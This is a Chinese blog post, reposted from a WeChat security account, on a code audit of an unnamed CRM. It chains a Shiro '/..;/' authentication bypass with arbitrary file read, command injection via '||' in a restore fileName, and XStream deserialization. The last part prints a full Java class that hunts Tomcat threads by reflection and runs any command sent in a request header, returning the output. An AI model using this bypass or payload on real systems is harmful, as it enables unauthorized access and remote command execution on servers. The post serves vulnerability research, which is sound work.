文章作者:奇安信攻防社区( 中铁13层打工人)
文章来源:https://forum.butian.net/share/4131
1►
权限绕过
该项目使用了shiro进行权限验证
查看依赖版本,发现该版本配合spring存在认证绕过漏洞
shiro通过org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain来匹配路由和过滤器
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
FilterChainManager filterChainManager = this.getFilterChainManager();
if (!filterChainManager.hasChains()) {
return null;
} else {
String requestURI = this.getPathWithinApplication(request);
if (requestURI != null && !"/".equals(requestURI) && requestURI.endsWith("/")) {
requestURI = requestURI.substring(0, requestURI.length() - 1);
}
Iterator var6 = filterChainManager.getChainNames().iterator();
String pathPattern;
do {
if (!var6.hasNext()) {
return null;
}
pathPattern = (String)var6.next();
if (pathPattern != null && !"/".equals(pathPattern) && pathPattern.endsWith("/")) {
pathPattern = pathPattern.substring(0, pathPattern.length() - 1);
}
} while(!this.pathMatches(pathPattern, requestURI));
return filterChainManager.proxy(originalChain, pathPattern);
}
}
http请求的路由通过getPathWithinApplication
方法获取,最终调用org.apache.shiro.web.util.WebUtils#getRequestUri
方法
public static String getRequestUri(HttpServletRequest request) {
String uri = (String)request.getAttribute("javax.servlet.include.request_uri");
if (uri == null) {
uri = request.getRequestURI();
}
return normalize(decodeAndCleanUriString(request, uri));
}
该方法核心是decodeAndCleanUriString
和normalize
两个方法来处理请求url
-
decodeAndCleanUriString
: 主要是讲;
之前的路径保留而舍弃之后的部分,即/aa/..;/bbb
被处理为/aa/..
-
normalize
-
替换反斜线
-
替换
//
为/
-
替换
/./
为/
-
替换
/../
为/
单看好像都没问题但是组合起来就丸辣。比如我们配置shiro的拦截配置
map.put("/home/**","anon"); //anon 表示未授权访问
map.put("/admin/*","authc"); //authc 表示需要权限认证
shiroFilterFactoryBean.setFilterChainDefinitionMap(map);
要是我们构造/home/..;/admin/xxx
,shiro通过上述操作获取到的URI为/home/..
,会命中"/home/**","anon"
从而不进行认证。
当shiro放行请求后会交给spring处理,而在spring中对于请求路径又有自己的处理逻辑
其在org.springframework.web.util.UrlPathHelper
中存在spring实现的getRequestUri
方法
public String getRequestUri(HttpServletRequest request) {
String uri = (String)request.getAttribute("javax.servlet.include.request_uri");
if (uri == null) {
uri = request.getRequestURI();
}
return this.decodeAndCleanUriString(request, uri);
}
然后通过decodeAndCleanUriString
来处理请求url
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = this.removeSemicolonContent(uri);
uri = this.decodeRequestString(request, uri);
uri = this.getSanitizedPath(uri);
return uri;
}
其中的三个方法主要是过滤;
、urldecode和过滤//
,最终的/home/..;/admin
变成/home/../admin
定位到admin的路由。
整体的流程就是
-
客户端请求URL:
/home/..;/admin/index
-
shrio 内部处理得到校验URL为
/home/..,
校验通过 -
spring 处理
/home/..;/admin/index
, 请求/admin/index
, 成功访问鉴权接口
2►
任意文件读取
我们找一个漏洞来测试一下鉴权绕过,有关文件加载操作的类和方法主要有
File
FileInputStream
BufferedInputStream
InputStream
getName
read
write
getFile
getWriter
download (危险的路由名)
...
根据上述思路,我们找的在xxxLogController
,找的了download
方法
public void download(String path, HttpServletRequest request, HttpServletResponse response) {
try {
File file = new File(path);
String filename = file.getName();
InputStream fis = new BufferedInputStream(new FileInputStream(path));
byte[] buffer = new byte[fis.available()];
fis.read(buffer);
fis.close();
response.reset();
response.addHeader("Content-Disposition", "attachment;filename=" + new String(filename.replaceAll(" ", "").getBytes("utf-8"), "iso8859-1"));
response.addHeader("Content-Length", "" + file.length());
OutputStream os = new BufferedOutputStream(response.getOutputStream());
response.setContentType("application/octet-stream");
os.write(buffer);
os.flush();
os.close();
} catch (Exception var9) {
this.logger.error("下载文件失败", var9);
}
}
其根据传入fileName
直接获取文件内容返回给response。
复现
直接访问会跳转登录页
利用/..;/
进行绕过
成功读取到目标文件,证明鉴权绕过可行。
3►
命令执行
既然看到读取如此简单,那我们再扩大危害看看有没有可以RCE点。
查找Runtime.getRuntime
方法的调用,找的了exeCommand
方法实现
private void exeCommand(String command) throws IOException {
logger.info("MySQL数据库正执行命令:" + command);
Runtime runtime = Runtime.getRuntime();
Process exec = runtime.exec(command);
try {
exec.waitFor();
} catch (InterruptedException var5) {
logger.error("MySQL数据库执行命令出错:" + var5.getMessage(), var5);
}
}
因为是私有方法,直接同类中向上找的了调用方法
public void doRestore(String fileName) {
String sqlFile = fileName;
...
if (osName.toLowerCase().startsWith("windows")) {
mysqldump = "cmd /c "" + this.mysqlPath + "mysql"";
} else {
mysqldump = this.mysqlPath + "mysql";
}
StringBuffer sbCommand = new StringBuffer();
sbCommand.append(mysqldump).append(" -u").append(this.username).append(" -p").append(this.password).append(" -h").append(this.host).append(" -P").append(this.port).append(" -B ").append(this.database).append(" < ").append(this.exportPath + sqlFile);
try {
this.exeCommand(sbCommand.toString());
} catch (IOException var6) {
}
}
构造的执行语句为:
cmd /c mysqlPath/mysql -u UserName -p Password -h host -P xx -B xx < sqlFile
而其中sqlFile是通过参数传入fileName的,这里可以用||
来绕过执行任意命令
该类属于Service层,我们要找到Controller层对其的调用,利用jar-analyzer工具的表达式搜索
#method
.isStatic(false)
.hasClassAnno("Controller")
.hasAnno("RequestMapping")
.hasField("backupService")
该表达式是寻找一个方法,其不是静态方法,类注释为Controller
,方法注释为RequestMapping
(表示是一个http接口),并且存在变量名为backupService
(遵循该系统service层定义命名规律)。
最终找到如下方法
"/restore"}) ({
public String doRestore( String fileName) {
try {
this.backupService.doRestore(fileName);
} catch (Exception var3) {
var3.printStackTrace();
throw new CommonException(var3.getMessage());
}
return I18n.i18nMessage("adp_db.success ");
}
复现
构造poc测试,成功访问
4►
技术细节
查看shiro过程中看到了几个低版本组件,比如xstream,我们用jar-analyzer查找例如fromXML
等触发反序列化的方法
在WechatxxxService类中找的一处调用
可以看到对整个request body进行了fromXML转换,因为时Service层我们还是可以通过之前方法快速找的controller层的调用
复现
利用woodpecker
生成poc
访问接口构造请求,成功接受到请求
这样似乎不太完美,我们尝试构造回显
回显
对于tomcat下构造回显链主要是找到全局存储了request和response的类,通过tomcat启动时线程中的变量一步步反射获得request和response变量
基于全局存储思路出现了两种获取request和response的方法:
方法一:通过
WebappClassLoaderBase
来获取 Tomcat 上下文的联系,进而获取AbstractProtocol$ConnectoinHandler(不适用Tomcat7)WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
方法二:通过遍历线程获取 NioEndpoint,进而获取AbstractProtocol$ConnectoinHandler(适用于Tomcat7/8/9)
Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
两种方法的区别在于用了不同的方法获取
AbstractProtocol$ConnectoinHandler
通过Thread.currentThread().getThreadGroup() 获取到全部线程中有关线程有:
-
http-nio-8080-Acceptor 在学习tomcat整体架构的时候,稍微了解过Acceptor这个组件,他是用来处理用户发过来的请求的,然后不涉及具体的处理,直接转发给worker线程去处理
-
http-nio-8080-exec* 这里有10个类似的线程,和上面的Acceptor,其实就是worker线程,用来处理具体的逻辑
-
http-nio-8080-Poller 该线程用于处理网络i/o,有请求时,发送到对应的Processor进行处理
其中Acceptor和Poller线程用于协议解析处理
所以除了网上常见的通过http-nio-port-Poller
获取成员变量NioEndpoint$Poller
,然后通过$this0获取到父类对象NioEndpoint
外,还可以通过http-nio-8080-Acceptor
来获取
在org.apache.tomcat.util.net.Acceptor
存在构造方法
public Acceptor(AbstractEndpoint<?, U> endpoint) {
this.state = Acceptor.AcceptorState.NEW;
this.endpoint = endpoint;
}
传入AbstractEndpoint
类型的对象赋值给endpoint
成员变量,而我们所要找的NioEndpoint
继承自该类,且通过调试
创建Acceptor线程时初始化传入变量确实NioEndpoint
类型
详细链路如下:
Thread.getThreads ---> http-nio-8080-Acceptor ---> endpoint(NioEndpoint) ---> handler(AbstractProtocol$ConnectoinHandler) ---> global(RequestGroupInfo) ---> RequestInfo--->Request --->Response
代码实现如下:
package org.apache.ha;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;
public class HttpUtil extends AbstractTranslet {
private String getReqHeaderName() {
return "Accept-Hkdxgumzuw";
}
public HttpUtil() {
run();
}
private void run() {
Field var3;
Field var32;
Field var33;
String var7;
try {
Method var0 = Thread.class.getDeclaredMethod("getThreads", new Class[0]);
var0.setAccessible(true);
Thread[] var1 = (Thread[]) var0.invoke(null, new Object[0]);
for (int var2 = 0; var2 < var1.length; var2++) {
// 遍历线程池,找的http-nio-8080-Acceptor线程
if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {
Field var34 = var1[var2].getClass().getDeclaredField("target");
var34.setAccessible(true);
Object var4 = var34.get(var1[var2]);
//获取NioEndpoint对象
try {
var3 = var4.getClass().getDeclaredField("endpoint");
} catch (NoSuchFieldException e) {
var3 = var4.getClass().getDeclaredField("this$0");
}
var3.setAccessible(true);
Object var42 = var3.get(var4);
//获取AbstractProtocol$ConnectoinHandler对象
try {
var32 = var42.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException e2) {
try {
var32 = var42.getClass().getSuperclass().getDeclaredField("handler");
} catch (NoSuchFieldException e3) {
var32 = var42.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
}
var32.setAccessible(true);
Object var43 = var32.get(var42);
try {
var33 = var43.getClass().getDeclaredField("global");
} catch (NoSuchFieldException e4) {
var33 = var43.getClass().getSuperclass().getDeclaredField("global");
}
var33.setAccessible(true);
Object var44 = var33.get(var43);
var44.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo");
if (var44.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) {
Field var35 = var44.getClass().getDeclaredField("processors");
var35.setAccessible(true);
ArrayList var5 = (ArrayList) var35.get(var44);
int var6 = 0;
while (true) {
if (var6 < var5.size()) {
Field var36 = var5.get(var6).getClass().getDeclaredField("req");
var36.setAccessible(true);
Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1);
try {
var7 = (String) var36.get(var5.get(var6)).getClass().getMethod("getHeader", String.class).invoke(var36.get(var5.get(var6)), getReqHeaderName());
} catch (Exception e5) {
}
if (var7 == null) {
var6++;
} else {
Object response = var45.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var45, new Object[0]);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(exec(var7));
writer.flush();
writer.close();
break;
}
}
}
}
}
}
} catch (Throwable th) {
}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String execRes = "";
while (s.hasNext()) {
execRes = execRes + s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}
}
而在AbstractProcessor
中的request和response其实是org.apache.coyote
下的,但是回显的话需要org.apache.catalina.connector.Request
这个类。
这两个Request有啥区别:
-
org.apache.catalina.connector.Request
主要用于表示已解析的HTTP请求,并提供方法供上层模块访问请求信息 -
org.apache.coyote.Request
主要用于底层网络请求的处理和解析。
在org.apache.coyote.Request
类中有一个方法返回org.apache.catalina.connector.Request
类
但是存储org.apache.catalina.connector.Request
类对象的notes
数组第一个元素为null,第二个才是我们要找的Request对象
故反射调用getNote
时传参为1:
Object var45 = var36.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var36.get(var5.get(var6)), 1);
因为我们本次xstream反序列化所用到的poc是利用TemplatesImpl
类,
其在加载class后检测这个类是不是继承自AbstractTranslet
,所以我们需要添加继承关系。
我们将其class数据转为base64,然后替换之前生成的poc中byte-array的内容
成功回显出执行的命令
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):某CRM代码审计之旅-多漏洞绕过与发现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论